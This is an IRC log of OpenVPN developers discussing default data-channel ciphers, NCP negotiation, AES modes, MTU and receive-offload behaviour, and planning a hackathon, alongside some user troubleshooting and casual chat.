which is quite rare tbh 08:45 < slypknot> ./configure --disable-lzo disable LZO compression support [default=yes] default yes ??? is that right ? 08:52 <@dazo> slypknot: default=enabled is what it tries to say 08:53 <@dazo> we had a discussion long time ago if we should change that description, but it never resulted in any patches (as people seldom interpret "default={yes,no}", they see --disable-* and think that's enabled by default and vice versa) 09:19 < slypknot> dazo: ok thanks 09:34 <@cron2> mattock: could you have a look at the buildmaster? seems the process died 09:49 <@ordex> https://pbs.twimg.com/media/DCDsXLUU0AAxpJe.jpg:large 09:50 <@dazo> lol 09:50 * dazo just sent this Fedora proposal 09:50 <@dazo> https://fedoraproject.org/wiki/Changes/New_default_cipher_in_OpenVPN 09:50 <@vpnHelper> Title: Changes/New default cipher in OpenVPN - FedoraProject (at fedoraproject.org) 09:53 <@syzzer> dazo: I later realized that if we want to keep supporting static key mode, we should probably use AES-256-CBC as the default cipher, rather than -GCM 09:53 <@syzzer> because -GCM doesn't work in static key mode 09:59 <@dazo> syzzer: right ... well, this Fedora change itself is targeting --mode server profiles 10:00 <@dazo> syzzer: ... when using --cipher AES-256-GCM .... is it needed to also list that cipher in --ncp-ciphers? 10:00 * dazo will run some tests now too 10:01 <@syzzer> dazo: yes, because the server will push the first cipher from --ncp-ciphers to the client 10:01 <@dazo> syzzer: ahh, good! 10:02 <@ordex> syzzer: why GCM does not work in static key mode? should the cipher be agnostic of how the key was exchanged ? 10:02 <@dazo> syzzer: just thinking aloud ... wouldn't it make sense that --cipher would automatically be pre-pended to --ncp-ciphers? 10:03 * ordex knows not much about GCM and AEAD 10:05 <@syzzer> dazo: pre-pended definitely not, that would make us go pushing BF-CBC... 10:05 <@cron2> dazo: --cipher is auto-included in the list of ncp-ciphers, but not *pre*pended (as that make it NCP's first choice to send to client) 10:05 <@cron2> "auto-included" as in "we accept what is in --cipher *or* in the --ncp-cipher list" 10:05 <@syzzer> what I think that should happen is that --cipher gets deprecated for TLS setups on the long term 10:08 <@syzzer> and for statis key mode: AES-GCM breaks horribly when the IV is reused. Much worse than CBC does. And GCM also allows for 96-bit IVs, whereas CBC allows 128-bit. That makes the difference between the max number of blocks to be crypted under one key of 2**32 (for GCM) or 2**48 (for CBC) 10:08 <@syzzer> 2**48 is a lot more reasonable :) 10:09 <@syzzer> (though I don't think anyone ever keeps track of that, and rotates their key in time, which is why I'd say that static key mode should simply die.) 10:09 <@dazo> syzzer: I meant if --cipher was provided ... if default, then not 10:09 <@syzzer> dazo: even then, how many configs floating around with "cipher BF-CBC" in there? 10:09 <@dazo> fair point 10:11 <@cron2> dazo: see above, it's implicitly *appended* - isn't that good enough? 10:13 <@dazo> cron2: how I understood syzzer was that --cipher AES-256-GCM requires --ncp-ciphers AES-256-GCM:AES-256-CBC...... otherwise the server would push the lesser wanted cipher (the first element in --ncp-ciphers) to v2.4 clients 10:13 <@cron2> right, NCP will not push what is in "cipher" but always the first element of ncp-ciphers 10:14 <@cron2> so it depends on what you want to achieve 10:14 <@cron2> "accept either" -> works 10:14 <@cron2> "get --cipher pushed as part of 2.4 NCP" -> needs cipher in front of --ncp-ciphers 10:14 <@dazo> yeah, I wanted to achieve that --ncp-ciphers allows --cipher .... but of course, --cipher BF-CBC would make things worse in that scenario 10:14 <@cron2> it *allows* it, it will just not *select* it 10:15 <@dazo> yeah, that's what I tried to say :) 10:16 <@cron2> mmmh. I can see the caveat ("I have configured AES-512-GCM everywhere but that stupid server is still pushing AES-256-GCM!") 10:17 <@cron2> but I have no good idea how to make that safe in the face of configs with BF in them :) 10:17 <@dazo> exactly ... well, could filter out deprecated ciphers .... but I'm not sure it's worth the extra code to make that happen 10:18 <@dazo> perhaps we shouldn't have had --ncp-ciphers .... we should just have had --cipher AES-512-GCM:AES-256G-GCM:... 10:19 <@cron2> no, because that would break 2.[0123] compatibility... 10:19 <@dazo> hmmm? yes, trying to use that config on a v2.3 and older server indeed 10:20 <@dazo> but 2.3 clients and older wouldn't notice .. it would still support --cipher AES-256-CBC too 10:20 <@cron2> nah, other way round - you have a server with --cipher AES-512-GCM:AES-256G-GCM:... and a 2.3 client without OCC connects. Which cipher are you going to use? 10:21 <@cron2> --cipher defines the fallback cipher "what to do if we do not know anything about the client?" 10:21 <@dazo> ahh, right 10:21 <@cron2> (on the server side) 10:21 <@cron2> this is a real rats nest 10:22 <@cron2> 2.4 clients with funky options, 2.3 with and without OCC, openvpn3, ... 10:22 <@dazo> but I think that will hit us anyway .... I can easily imagine people doing --cipher AES-256-GCM today ... with --ncp-ciphers containing AES-256-CBC 10:22 <@cron2> all good? 10:23 <@dazo> well, that won't work either if v2.3 or older dont' use OCC 10:24 <@dazo> so ... my suggestion was simply: --cipher AES-256-GCM:AES-256-CBC would in todays implementation be understood as: --cipher AES-256-GCM --ncp-ciphers AES-256-GCM:AES-256-CBC 10:25 <@dazo> but I didn't think of the need for the fallback (--cipher) for non OCC clients 11:36 < slypknot> I have just noticed .. from after this point in the HOWTO : https://openvpn.net/index.php/open-source/documentation/howto.html#pkcs11 11:36 <@vpnHelper> Title: HOWTO (at openvpn.net) 11:36 < slypknot> the HOWTO is repeated from the intoduction .. so there are two copies of everything after that 11:39 < slypknot> actually not quite .. but some sections have been duplicated 15:22 <@cron2> mattock: *poke* 19:28 <@ordex> morning 19:31 < slypknot> what shall we do with a drunken sailor earlie in the 'morning' ;) 19:33 < slypknot> ordex: you like modern-ish music ? 19:33 <@ordex> it depends 19:33 < slypknot> ahh 19:34 < slypknot> you like loud music ? 19:35 < slypknot> i'lll just post it : https://www.youtube.com/watch?v=1k9A63Swwzs 20:12 < CRCinAU> morning 20:19 <@ordex> CRCinAU: aye aye 20:19 <@ordex> slypknot: it depends :D --- Day changed Tue Jul 04 2017 05:46 <@dazo> This is an interesting read ... https://lwn.net/Articles/726917/ 05:47 <@dazo> or, rather ... https://lwn.net/SubscriberLink/726917/76af5bb2d8f5ba7e/ (for non-subscribers) 05:47 <@vpnHelper> Title: Zero-copy networking [LWN.net] (at lwn.net) 05:49 <@ordex> dazo: i think it is old, no ? 05:49 <@ordex> ah no, the article is recent 05:49 <@ordex> but zero-copy was introduced quite sometime ago I believe (?) 05:50 <@ordex> interesting..the patch set is quite recent 05:50 <@ordex> (this new one) 05:50 <@ordex> dazo: thanks for the link :) 05:51 <@dazo> yeah, zero copy has been available for some time, but not in regards to networking packets from user-space, iiuc 05:53 <@ordex> true 05:53 <@ordex> that's why lots of things were moved to kernelspace when possible 05:53 <@dazo> yeah 05:54 <@dazo> but also an interesting comment there about why getting zero-copy reads is much harder ... as this covers only zero-copy writes (read:send()) 05:55 < CRCinAU> so 05:55 < CRCinAU> aes-256-cbc vs aes-256-ecb 05:55 < CRCinAU> whats the difference? 05:55 <@dazo> syzzer: ^^^ :) 05:56 < CRCinAU> I'm trying to understand the aesni stuff in my PC Engines APU2..... 05:56 <@dazo> this might be somewhat useful https://crypto.stackexchange.com/questions/225/should-i-use-ecb-or-cbc-encryption-mode-for-my-block-cipher#227 05:56 <@vpnHelper> Title: Should I use ECB or CBC encryption mode for my block cipher? - Cryptography Stack Exchange (at crypto.stackexchange.com) 05:56 < CRCinAU> I run: openssl speed -elapsed -evp aes-256-ecb 05:57 < CRCinAU> type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes 05:57 < CRCinAU> aes-256-ecb 98829.01k 330059.48k 478549.08k 526151.00k 548653.74k 05:57 < CRCinAU> compared to: 05:57 < CRCinAU> $ openssl speed -elapsed -evp aes-256-cbc 05:57 < CRCinAU> type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes 05:57 < CRCinAU> aes-256-cbc 100445.93k 130360.38k 150153.13k 155898.54k 157665.96k 05:58 < CRCinAU> so I'm wondering if these are close enough to the same, why such difference in numbers? Are they both supposed to use hardware accel? is cbc not using hardware accel? 05:58 < CRCinAU> ir something else going on? 05:59 < CRCinAU> to confuse things further: 05:59 < CRCinAU> $ openssl speed -elapsed -evp aes-256-gcm 05:59 < CRCinAU> type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes 05:59 < CRCinAU> aes-256-gcm 57464.95k 147728.30k 214493.44k 242248.36k 251188.57k 05:59 <@dazo> CRCinAU: the URL above actually explains fairly well the difference between CBC vs ECB ... and your findings with openssl speed makes sense, ECB is faster - but has a major drawback in regards to cipher strength 06:00 <@dazo> IIRC, GCM is most commonly capable to use AES-NI in the CPUs these days 06:01 < CRCinAU> I started looking into this today as I'm looking at replacing an old Sun T1000 with an APU2 for haproxy + SSL load balancer 06:01 < CRCinAU> the T1000 gives us a whopping 8800k rate 06:01 < CRCinAU> which I interpret to be 8.8MB/sec on a single stream 06:02 < CRCinAU> when we get into the details of SSL ciphers, I go into dummy mode and my eyes glaze over ;) 06:02 <@dazo> :) 06:03 < CRCinAU> eyyyy 06:03 < CRCinAU> GCM is ideal for protecting packetized data because it has minimum latency and minimum operation overhead. 06:03 < CRCinAU> That I understand :) 06:03 < CRCinAU> The very next sentence however: 06:03 < CRCinAU> GCM requires one block cipher operation and one 128-bit multiplication in the Galois field per each block (128 bit) of encrypted and authenticated data. 06:03 < CRCinAU> u wot m8? 06:04 <@dazo> CRCinAU: IIRC (I'm no crypto expert, hence trying to get syzzer's attention) ... but with GCM you get the authentication as part of the encryption, with non-GCM you need a HMAC operation on top of it 06:04 <@dazo> (that's how I've understood it at least) 06:04 < CRCinAU> so I'm trying to understand if using one over the other is pretty much screwing yourself with something - and just cos it starts with AES-256 may mean...... fuck all.... 06:05 < CRCinAU> I almost need the dummies guide to the dummies guide to encryption ;) 06:05 < CRCinAU> not that it really matters, as most of those are about GigE line speed anyway 06:06 <@dazo> well, crypto have an algorithm (AES, DES/3DES,RC, etc, etc), a key size (128, 256, 192) and an operational mode (CBC, ECB, GCM) 06:06 < CRCinAU> and the APU2 certainly shits all over the Sun T1000 for SSL performance..... (which is our current dodgy ass load balancer) 06:07 <@dazo> so how to decode the ciphered data, depends on the mode ... if you use CBC, you need to account for the data in the previous packet ... ECB does not need that 06:07 <@dazo> and then you send that data to the cipher algorithm (AES, BF, RC, DES/3DES, etc) 06:07 < CRCinAU> gcm is what is recommended for web servers these days, right? 06:08 <@dazo> I honestly don't know if browsers supports GCM for https ... or how widespread that support is 06:08 <@dazo> oh ... my firefox actually uses GCM 06:08 < CRCinAU> running an SSL scanner over my home web server gives me: ECDHE-RSA-AES256-GCM-SHA384 06:09 < CRCinAU> I use: 06:09 < CRCinAU> TLSv1.2: ECDHE-RSA-AES256-GCM-SHA384 ECDHE-RSA-AES128-GCM-SHA256 06:09 < CRCinAU> ECDHE-RSA-AES256-SHA384 ECDHE-RSA-AES128-SHA256 06:09 < CRCinAU> which is apparently good. 06:09 <@dazo> yeah, as a layman speaking, that looks good to me 06:10 < CRCinAU> in openVPN, I use: 06:10 < CRCinAU> tls-server 06:10 < CRCinAU> tls-version-min 1.2 06:10 < CRCinAU> tls-cipher TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384:TLS-DHE-RSA-WITH-AES-256-CBC-SHA256 06:10 < CRCinAU> but then I have: 06:10 < CRCinAU> cipher AES-256-CBC 06:10 < CRCinAU> auth SHA256 06:10 < CRCinAU> which confuses me. 06:10 <@dazo> okay ... the openvpn wire protocol contains of two channels 06:10 < CRCinAU> and I'm not sure I ever really understood that. 06:11 <@dazo> the control channel and the data channel 06:11 <@dazo> the control channel is the one which does the PKI/certificate stuff ... openvpn ping packets, etc ... and where you get the --push options 06:11 <@dazo> plus a few more things 06:11 < CRCinAU> so what should I really be using? and is there a way I don't have to configure it in the client as well? :P 06:12 < CRCinAU> so that's the tls-cipher? ie the control channel? 06:12 <@dazo> the data channel is the tunnelled network traffic ... what is going in/out of the tun/tap adapter 06:12 <@dazo> SO the --tls-cipher controls the control channel 06:12 <@dazo> --cipher/--auth controls the data channel 06:12 < CRCinAU> so in theory, I can push the cipher/auth values 06:12 < CRCinAU> meaning no client config required for it 06:13 <@dazo> weeeell .... if you use v2.4, the server (as part of the NCP) does indeed push --cipher 06:14 <@dazo> but syzzer is working on some patches which allows --cipher to be pushed from CCD .... as the server also needs to pick up that detail too, otherwise the expected cipher won't match with what the client uses 06:14 < CRCinAU> ah - so its kinda broken right now? :P 06:14 <@dazo> yeah 06:14 < CRCinAU> sounds like what I do best. 06:14 < CRCinAU> lol 06:15 <@dazo> AES-256-CBC-SHA256 is good when accounting for v2.3 and older OpenVPN clients 06:15 < CRCinAU> yeah - I don't care about old stuff 06:15 < CRCinAU> as its either Fedora or RHEL7 that I'm connecting with 06:15 <@dazo> you will get somewhat better performance (esp if having hardware support) using GCM though .... which requires v2.4 clients 06:16 <@dazo> but! with v2.4 client and servers ... you'll get GCM automatically, unless you use --ncp-disable 06:16 < CRCinAU> either way, I have a 50/20 connection - and the APU2 seems to get waaay more than that in CBC/ECB/GCM anyway 06:16 < CRCinAU> ah - so my cipher & auth lines are ignored? :P 06:16 <@dazo> I think it is fairly safe to say you should stay away from ECB .... focus on GCM and CBC (in that order) 06:18 < CRCinAU> so that pretty much means that this is good: 06:18 < CRCinAU> TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384:TLS-DHE-RSA-WITH-AES-256-CBC-SHA256 06:18 <@dazo> CRCinAU: with GCM, --auth is ignored (it's included in the GCM based cipher) ... but yes, the --ncp-ciphers list controls what cipher the client should use with v2.4 ... which by default is AES-256-GCM 06:18 <@dazo> yeah, I'd say so 06:19 <@dazo> (but again, I can't stress this enough ... I'm no crypto expert ... just standing on the shoulders of syzzer and other crypto experts ... and I may have misunderstood some details) 06:19 < CRCinAU> so really, on both client and server - as long as I useTLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384:TLS-DHE-RSA-WITH-AES-256-CBC-SHA256 - then I can not include any line for cipher or auth in the server or client config? 06:19 <@cron2> tls-cipher and cipher are fully independent entities 06:19 <@dazo> that list is --tls-cipher 06:19 <@dazo> not related to --cipher 06:19 <@cron2> that string of random letters is --tls-cipher 06:19 <@cron2> what dazo says :) 06:20 <@dazo> (again, --tls-cipher is the control channel ... --cipher/--auth is the data channel) 06:20 < CRCinAU> but if 2.4 has ncp-whatever that selects AES-256-GCM anyway, isn't cipher/auth redundent? 06:20 * ordex is glad we did not make the cipher used in tls-crypt configurable 06:20 <@ordex> :P 06:20 <@dazo> ordex: lol 06:21 <@dazo> CRCinAU: yeah, you could say that ... but setting it to --cipher AES-256-{GCM,CBC} by default may avoid some log noise, at least on the client side 06:22 < CRCinAU> well, I guess it means less to configure? 06:22 <@dazo> ordex: we could ... but I'd insist on having it set to: --i-am-an-expert--tls-crypt-cipher 06:23 <@dazo> ordex: then on #openvpn we could ask "Are you an expert?" ;-) 06:23 <@ordex> :D 06:24 <@dazo> <helplesskid>: "No" ... <we>: Then you are not permitted to use that option 06:26 < CRCinAU> yeah ok 06:26 < CRCinAU> so I'm getting: 06:26 < CRCinAU> Data Channel: using negotiated cipher 'AES-256-GCM' 06:27 < CRCinAU> Data Channel Encrypt: Cipher 'AES-256-GCM' initialized with 256 bit key 06:27 < CRCinAU> Data Channel Decrypt: Cipher 'AES-256-GCM' initialized with 256 bit key 06:27 <@dazo> right 06:27 < CRCinAU> that's with no config on the client other than IP address / user / password (OTP) 06:27 <@dazo> correct 06:28 < CRCinAU> that's handy to know 06:28 < CRCinAU> ooooo 06:28 < CRCinAU> in the client log: 06:28 < CRCinAU> nm-openvpn[6905]: auth-token received, disabling auth-nocache for the authentication token 06:29 < CRCinAU> that'd be a great feature ;) 06:29 <@dazo> well ... yeah ... but .... it's still broken due to the management interface 06:30 < CRCinAU> ;) 06:30 < CRCinAU> sorry, couldn't help that :) 06:30 <@dazo> :) 06:30 < CRCinAU> So I still see this: nm-openvpn[6905]: WARNING: 'link-mtu' is used inconsistently, local='link-mtu 1541', remote='link-mtu 1542' 06:30 < CRCinAU> was that something to do with having comp-lzo as a push option? 06:30 <@dazo> I must say ... that one is confusing me 06:31 < CRCinAU> but also, why above 1500 bytes? o_O 06:32 < CRCinAU> I mean, it all works - but how can I have a 1541/1542 MTU on a network with a 1500 byte packet size. 06:32 < CRCinAU> (well, 1492 at the router out via PPPoE) 06:33 <@dazo> perhaps cron2 or plaisthos knows something about the MTU settings and how OpenVPN sets/uses/calculates them 06:34 < CRCinAU> I mean, I'd expect 1441/ 1442 on a 1500 byte network 06:34 < CRCinAU> off-by-100? :P 06:40 <@dazo> syzzer: pondering on the default cipher change ... so if we want to use --cipher AES-256-CBC as the default, then we should probably add --auth SHA-256 too? 07:21 <@vpnHelper> RSS Update - tickets: #911: interface mtu calculation in 2.4 significantly different from 2.3 <https://community.openvpn.net/openvpn/ticket/911> 08:12 <@ordex> cron2: do you think #909 is related to #911 too ? 08:23 <@cron2> no 08:24 <@cron2> --*mtu* is a huge can of interlinked worms, and I'm not sure anyone understands the tangled mess 08:24 <@cron2> maybe plaisthos does :) 08:30 <@ordex> :D 08:30 <@ordex> "is a huge can of interlinked worms" I'll print this 08:43 <@ordex> cron2: in case d12fk does not show up any time soon, do we have a backup plan ? 08:43 <@ordex> or we skip the hackathon :D 08:44 * ordex threw himself in 08:45 * dazo creates the doodle 08:48 <@d12fk> i'm here, what's up 08:48 <@dazo> d12fk: I'm getting the hackathond doodle rolling for you .... but we need to figure out location as well 08:49 <@vpnHelper> RSS Update - tickets: #909: --mtu-disc yes not supported on Linux <https://community.openvpn.net/openvpn/ticket/909> 08:49 <@d12fk> thanks, was trying to fit in into the weekend, but obv. failed to do so 08:49 <@dazo> :) 08:50 <@d12fk> are there doubts about karlsruhe? 08:50 <@dazo> I have none ... I know we talked about renting something in NY ... but that can be another year IMO 08:51 * dazo is ready for Germany again :) 08:51 <@dazo> d12fk: any particular dates we should avoid? 08:51 <@dazo> (thinking Karlsruhe now) 08:52 <@d12fk> you're targeting Oct/Nov? 08:52 <@dazo> yeah 08:52 <@d12fk> lemme check 08:53 <@d12fk> friday to sunday I suppose? 08:53 <@dazo> yeah, that's probably most easy for most 08:55 <@d12fk> week end sholdn't be a prob at all 08:55 <@dazo> great 08:56 <@ordex> I am out 11-22 Oct :S 08:56 <@d12fk> friday isn't a prob either 08:57 <@d12fk> all are free until xmas 08:57 <@ordex> as for the day, I am fine any combination of days you want 08:57 <@dazo> OpenVPN developers 08:57 <@dazo> huh 08:57 <@dazo> https://doodle.com/poll/uhbqq24fcrnkcqi7 08:59 <@dazo> d12fk: you can send the invite mail ;-) 08:59 <@ordex> is there a challenge for who is going to travel the longest distance? :P 09:00 <@dazo> I could consider to fly via LAX, if you want some real competition :-P 09:00 <@ordex> :-P I am not sure you'll make it then, immigrattion there may decide to pay you a stay :D 09:01 <@dazo> lol .... not unlikely at all! :-D 09:01 <@ordex> hehe 09:44 <@plaisthos> CRCinAU: you can have udp packets with > 1500 bytes 09:44 <@plaisthos> fragmented udp packets 09:44 <@plaisthos> that is not a good thing to have 09:44 <@plaisthos> and OpenVPN has trationally always used 1500 MTU on its tun interface 09:45 <@plaisthos> that helps with some broken configuration where path mtu is seriously broken but creates other issues (fragmented udp packets) 09:45 <@ordex> the mtu dance has begun! 09:47 <@plaisthos> for my own VPNs I always set tun-mtu1 1400 09:47 <@plaisthos> linux breaks mssfix for me anyway 09:48 < Thermi> ???? 09:51 <@plaisthos> packets arrive with 1280 bytes from Google, network card does large receive optimisation, hands linux kernel a 16000 byte packet, Linux kernel see that tun interface has only 1500 byte mtu and split it into 1500 byte packets 09:51 <@plaisthos> openvpn then transits 1540 byte fragmented udp packets 09:52 <@cron2> dazo: I'm not going to USA while it is trumped, so NY is out 09:53 <@ordex> plaisthos: the kernel could do this "optimisation" but the true length of the packet should not change - I think it's weird that the packet gets "inflated" when entering tun* 09:53 <@ordex> cron2: good idea :P 09:53 <@cron2> ordex: there is not "a single packet" - there are "many small packets coalesced into one large TCP segment" 09:54 <@cron2> (which only happens if you have TCP segment offloading in your network cards *and* use NAT on the openvpn server) 09:54 <@plaisthos> cron2: no NAT required 09:55 <@ordex> ak ok, TCP SO 09:55 <@cron2> plaisthos: a router should never mangle packets not addressed to itself... that's why NAT 09:56 <@plaisthos> cron2: should ... 09:56 <@plaisthos> somehow this breaks in the kvm stack 09:56 <@cron2> brrr 09:56 <@ordex> :S 09:56 <@plaisthos> I have nat for ipv4 09:56 <@ordex> "just this little optimization" 09:56 <@plaisthos> but ipv6 is routed 09:56 <@ordex> and I thought that only wifi could do this dirty things 09:56 < Thermi> Reads like problems with receive offload. 09:57 <@cron2> ordex: everyone does dirty things 09:57 <@plaisthos> anyway mtu 1400 works for me :0 09:57 <@ordex> :( 09:57 <@ordex> TCP SO is implemented in all modern NICs? or only high end ones? 09:57 <@plaisthos> non ultra cheap ones 09:58 <@plaisthos> ethtool -k nic 09:59 <@ordex> tcp-segmentation-offload: on 09:59 <@ordex> :D 09:59 <@plaisthos> that is for sending 09:59 <@plaisthos> where the kerle gives the card the 15k packet and the card sends out 10 1500 byte packets 10:00 <@ordex> ok 10:00 <@ordex> how is the rx property called 10:00 <@ordex> mhh 10:00 <@ordex> with *tcp* I only have the tx 10:00 <@plaisthos> btw. we had this lro behaviour even on a physical box running openvswitch 10:01 <@plaisthos> generic-receive-offload: on 10:01 <@plaisthos> for my nic 10:01 <@plaisthos> can also be large-receive-offload 10:02 <@ordex> generic-segmentation-offload: on 10:02 <@ordex> generic-receive-offload: on 10:02 <@ordex> large-receive-offload: off [fixed] 10:02 <@ordex> mh 10:02 <@ordex> ok 10:03 <@plaisthos> just do tcpdump on your interface and download soemthing :) 10:04 <@plaisthos> you will size > 1500 byte packets 10:04 <@ordex> mh I have it on also on wifi 10:04 <@ordex> only rx 10:05 <@plaisthos> the Broadcom 57762-A1 does not see to do that 10:05 <@plaisthos> but it is via a TB3 dock under Mac OS 10:05 <@plaisthos> so who knows ;) 10:05 <@ordex> :P 10:06 <@plaisthos> or my DSL is too slow to trigger that 10:09 <@ordex> I try with speedtest.net :P 10:09 <@ordex> I am too lazy to search a url 10:11 <@ordex> mh I see only tcp 1448 here 10:12 <@ordex> ah: length 2896 10:12 <@ordex> length 7240 10:12 <@ordex> really ? 10:12 <@ordex> lol 10:12 <@plaisthos> length 17136: HTTP 10:12 <@plaisthos> :) 10:13 <@ordex> ;P 10:14 <@plaisthos> length 65232 10:14 <@plaisthos> when choosing a faster server (google) 10:15 <@ordex> I should use my ethernet card to try :P 10:16 <@plaisthos> 65k is probably the maximum size 10:16 <@plaisthos> more than a cheap realtek card has as buffer ;P 10:19 <@ordex> hehe 10:19 <@ordex> probably 10:19 <@ordex> is that over wifi ? 10:20 <@ordex> mh my speedtest gave nice results too :D 10:26 <@ordex> cron2: plaisthos: when you say "many small packets coalesced into one large TCP segment", does it mean the card creates one single TCP segment out of several? because in theory the card should still receive one segment per frame, no? 10:28 <@cron2> ordex: this is what it does (give one large packet to the host) 10:29 <@ordex> wow 10:29 <@ordex> so there is a tcp parser in the nic ? 10:29 <@ordex> I guess so as it needs to understand and combine 10:29 <@ordex> mh 10:33 <@cron2> ordex: modern NICs have firmware. That does things. And has DMA access to the host... "be scared" :-) 10:33 <@ordex> cron2: yeah :S I really thought moving away from wifi was a way to avoid all of this :D but apparently ... can't escape !! 10:33 <@ordex> hehe 10:34 <@cron2> 10GE or 40GE NICs have way faster CPUs than a wifi card :-) 10:34 <@d12fk> dazo: will do 10:34 <@ordex> I guess they also have faster bugs :-P 10:34 <@ordex> hehe 11:00 <@d12fk> dazo: anyone besides past attendents + ordex? 11:06 <@d12fk> hm, sent it now, please fwd to anyone I might have forgotten 11:07 <@dazo> d12fk: I think that's a reasonable start ... I'm not aware of anyone else 11:09 <@d12fk> we could extend the option to later in Nov. and even early Dec. if needed 11:09 <@d12fk> anyways, off for today 11:09 <@dazo> yeah, I just thought 5 weekends was a reasonable selection :-P 12:59 < CRCinAU> so I'm still confused about the MTU :P 12:59 < CRCinAU> does that mean I should set mtu 1440 and push mtu 1440? :P 12:59 < CRCinAU> can that happen? 13:06 < slypknot> CRCinAU: you cannot push --mtu 13:08 < slypknot> have a go with --mtu-test 13:19 < CRCinAU> well, nothing is broken... just the warning that its doing 1541/1542 byte MTU 13:19 < CRCinAU> which seems weird :P 13:39 < slypknot> i get NOTE: Empirical MTU test completed [Tried,Actual] local->remote=[1525,1525] remote->local=[1522,1522] 13:40 < slypknot> that is (local->remote) across one single router .. 13:40 < slypknot> so my guess is nic drivers 13:41 <@cron2> d12fk: mmmh, can you extend to "earlier weekends in October"? 13:47 <@cron2> dazo: d12fk doesn't have your new mail address, it seems... bounced his mail to you 13:53 <@dazo> cron2: he used my deprecated sf.net address 13:53 <@dazo> I got the mail to my openvpn.net address 13:53 <@cron2> directly or due to my bounce just now? 13:54 <@dazo> he bounced it to me 13:54 <@dazo> oh, your response might not have been proper 13:54 <@cron2> nah, my response got a bounce, this is how I saw that the old mail address was in the list 13:54 <@cron2> anyway, you're informed :) 13:55 <@dazo> thx :) 19:31 <@ordex> morning! 19:48 < CRCinAU> mornin 19:51 <@ordex> :) 20:27 < CRCinAU> so many stupid problems today 20:33 <@ordex> like yesterday? :p 20:34 < CRCinAU> nah - fresh stupid today 20:47 < CRCinAU> also - yay: https://github.com/keepassxreboot/keepassxc/issues/712#issuecomment-312977168 20:47 <@vpnHelper> Title: Yubikey is not re-detected after replugging. · Issue #712 · keepassxreboot/keepassxc · GitHub (at github.com) 20:47 < CRCinAU> I'm starting more shit ;) 20:54 < CRCinAU> todays stupid includes: "Why is the system we bought in Azure slow? Can you fix it?" and "Why did the bank decline my credit card?" 20:58 <@ordex> can you fix it ? 20:58 <@ordex> :D 20:59 < CRCinAU> no, fuck off lol 21:00 < CRCinAU> 1) Talk to the guys who ordered it for you. 21:00 < CRCinAU> and 2) talk to your bank. 21:00 < CRCinAU> lol 21:00 < CRCinAU> its amazing how much random BS comes your way if you are competent at your job..... 21:01 < CRCinAU> oh, we'll just ask CRCinAU .... they seem to know whats going on. 21:01 < CRCinAU> you know, instead of thinking and learning. 21:01 <@ordex> well, this can be bad and good at the same time :) 21:01 <@ordex> if you manage to re-use this "reputation" in a way that can become meaningful for you 21:02 < CRCinAU> that being said, I post bug reports ;) 21:02 <@ordex> meaningful as in profitable :P 21:02 <@ordex> yeah yeah :D 21:02 < CRCinAU> but at least I spend time trying to figure out the problem first :p 21:04 <@ordex> that's probably what makes the difference :) 23:07 <@ordex> cron2: dazo: just to understand the format of the hackathon: usually the meeting starts on friday morning and end on sunday afternoon/evening? do you guys usually arrive one day earlier or leave later ? 23:07 < CRCinAU> hackathon eh? 23:07 <@ordex> after a marathon of course 23:07 < CRCinAU> in some eurpoean country? :P 23:08 <@ordex> CRCinAU: does it make any difference? would be far away from you anyway :D:D:D 23:08 <@ordex> maybe we can arrange another one in SE Asia next time :P 23:08 <@ordex> if we have participants hehe 23:09 < CRCinAU> yeah - ain't nobody down here :P 23:09 < CRCinAU> I'll come along just to prod dazo with an auth token ;) 23:09 < CRCinAU> lol 23:09 < CRCinAU> I'd even print one out :) 23:09 < CRCinAU> stick it on a NERF dart 23:09 < CRCinAU> fire it across the room 23:10 <@ordex> :D 23:10 <@ordex> CRCinAU: if you do something in VIC ping me, I'd be glad to join 23:10 <@ordex> :D 23:10 <@ordex> we can do a auth-token fixing party 23:10 <@ordex> *an 23:10 < CRCinAU> whut? 23:11 < CRCinAU> why? where are you? 23:12 <@ordex> well, closer than the others :D but not close 23:12 <@ordex> I am in HK 23:12 < CRCinAU> oh - I thought for a second you were also in victoria...... was going to say.... 23:12 <@ordex> haha nope 23:12 <@ordex> been there some time ago :) wouldn't mind coming over again --- Day changed Wed Jul 05 2017 01:09 < CRCinAU> more stupid today 01:09 < CRCinAU> "We can't put 2 x APU3 mainboards in a 1RU case.... it'll get too hot and burn up!" 01:32 <@cron2> yeah, right, if you run at 100% CPU for hours, block all cooling vents and do not make a thermal connection between CPU and chassis... 01:34 <@cron2> ordex: Hackathon is "the organizer is there Friday to Sunday", mostly :-) - some folks arrive Wed or Thu, to do some sightseeing beforehand - some stay until Mon/Tue/Wed, for the same reasons :-) - usually "most folks come in around Friday noonish" (as planes go), and leave "Sunday afternoonish" (as planes go...) 01:35 <@cron2> for this one, I'll take the train which is about 3 hours from Munich - so "arrive Friday noonish, leave Sunday late evening" (sightseeing in Karlsruhe might be a bit uninteresting in November) 01:38 <@ordex> hehe ok, thanks 02:09 <@mattock> ah, Karlsruhe 02:10 <@mattock> has that been decided? 02:15 <@cron2> we haven't actually had a discussion - d12fk sent out an invite and unless someone objects, this is where we go :-) 02:16 * cron2 is fine with anything that is not USA 02:17 * ordex has better suggestions for october/november :D but might be more expensive to reach :P 02:17 <@ordex> maybe I'll propose something next year :) 02:17 <@cron2> ordex: most of us are in central/north europe and a few in the US... 02:17 <@ordex> yeah, that's why is not really feasible I think 02:17 <@cron2> mattock: btw, could you check buildmaster? seems the daemon died (at least yesterday evening I got connection refused) 02:18 <@cron2> we've tentatively discussed "US east cost", but that was before Trump... and I just do not want to go there now 02:18 <@ordex> yeah 02:18 <@ordex> maybe the caribbean ? :P we have somebody that look out for a venue hehe, but I think we have to stop over US anyway 02:18 <@ordex> *that could 02:26 <@d12fk> one of the french colonies might work with direct flights from Paris 02:28 <@d12fk> mattock: thought we decided that in Helsinki already 02:33 * cron2 cannot remember any decisions, too much Wurstel and Beer :) 02:43 <@ordex> lol 02:44 <@ordex> wurstel is the national dish in helsinki? 03:18 <@cron2> Helsinki was very nice... Sauna and open air Barbecue on the rooftop of F-Secure central office building :-) 03:18 <@ordex> cool :) 03:50 <@mattock> hmm, I don't think we have "a" national dish 03:51 <@mattock> we have the carelian pie which is a classic 03:52 <@mattock> ok, so our national food seems to be rye bread 03:52 <@ordex> you looked it up?:D 03:52 <@mattock> I can agree to that 03:52 <@mattock> yeah 03:52 